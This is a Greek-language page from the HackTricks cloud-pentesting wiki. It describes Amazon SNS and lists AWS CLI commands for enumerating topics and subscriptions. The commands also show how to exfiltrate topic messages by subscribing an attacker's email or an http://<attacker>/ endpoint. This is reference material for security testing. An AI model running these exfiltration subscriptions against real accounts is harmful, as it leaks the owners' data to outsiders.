AWS - SNS Enum

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

SNS

Η Υπηρεσία Απλών Ειδοποιήσεων της Amazon (Amazon SNS) περιγράφεται ως μια πλήρως διαχειριζόμενη υπηρεσία μηνυμάτων. Υποστηρίζει τόσο επικοινωνία εφαρμογής προς εφαρμογή (A2A) όσο και επικοινωνία εφαρμογής προς άτομο (A2P).

Τα κύρια χαρακτηριστικά για την επικοινωνία A2A περιλαμβάνουν μηχανισμούς δημοσίευσης/εγγραφής (pub/sub). Αυτοί οι μηχανισμοί εισάγουν θέματα, κρίσιμα για την ενεργοποίηση υψηλής απόδοσης, βασισμένης σε push, επικοινωνίας πολλών προς πολλούς. Αυτό το χαρακτηριστικό είναι ιδιαίτερα ευνοϊκό σε σενάρια που περιλαμβάνουν κατανεμημένα συστήματα, μικροϋπηρεσίες και αρχιτεκτονικές serverless που βασίζονται σε γεγονότα. Εκμεταλλευόμενα αυτά τα θέματα, τα συστήματα εκδότη μπορούν να διανέμουν αποτελεσματικά μηνύματα σε ένα ευρύ φάσμα συστημάτων συνδρομητών, διευκολύνοντας ένα μοτίβο επικοινωνίας fanout.

Διαφορά με SQS

SQS είναι μια υπηρεσία βασισμένη σε ουρές που επιτρέπει την επικοινωνία σημείου προς σημείο, διασφαλίζοντας ότι τα μηνύματα επεξεργάζονται από έναν μοναδικό καταναλωτή. Προσφέρει τουλάχιστον μία παράδοση, υποστηρίζει κανονικές και FIFO ουρές, και επιτρέπει τη διατήρηση μηνυμάτων για επαναλήψεις και καθυστερημένη επεξεργασία.
Από την άλλη πλευρά, SNS είναι μια υπηρεσία βασισμένη σε δημοσίευση/εγγραφή, επιτρέποντας επικοινωνία ενός προς πολλούς μέσω της μετάδοσης μηνυμάτων σε πολλούς συνδρομητές ταυτόχρονα. Υποστηρίζει διάφορες διευθύνσεις συνδρομής όπως email, SMS, λειτουργίες Lambda και HTTP/HTTPS, και παρέχει μηχανισμούς φιλτραρίσματος για στοχευμένη παράδοση μηνυμάτων.
Ενώ και οι δύο υπηρεσίες επιτρέπουν την αποσύνδεση μεταξύ των συστατικών σε κατανεμημένα συστήματα, το SQS εστιάζει στην επικοινωνία μέσω ουρών, ενώ το SNS τονίζει τα μοτίβα επικοινωνίας που βασίζονται σε γεγονότα και fan-out.

Αριθμητική

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Caution

Σημειώστε ότι αν το θέμα είναι τύπου FIFO, μόνο οι συνδρομητές που χρησιμοποιούν το πρωτόκολλο SQS μπορούν να χρησιμοποιηθούν (HTTP ή HTTPS δεν μπορούν να χρησιμοποιηθούν).

Επίσης, ακόμη και αν το --topic-arn περιέχει την περιοχή, βεβαιωθείτε ότι έχετε καθορίσει τη σωστή περιοχή στο --region ή θα λάβετε ένα σφάλμα που δείχνει ότι δεν έχετε πρόσβαση, αλλά το πρόβλημα είναι η περιοχή.

Unauthenticated Access

AWS - SNS Unauthenticated Enum

Privilege Escalation

AWS - SNS Privesc

Post Exploitation

AWS - SNS Post Exploitation

Persistence

AWS - SNS Persistence

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks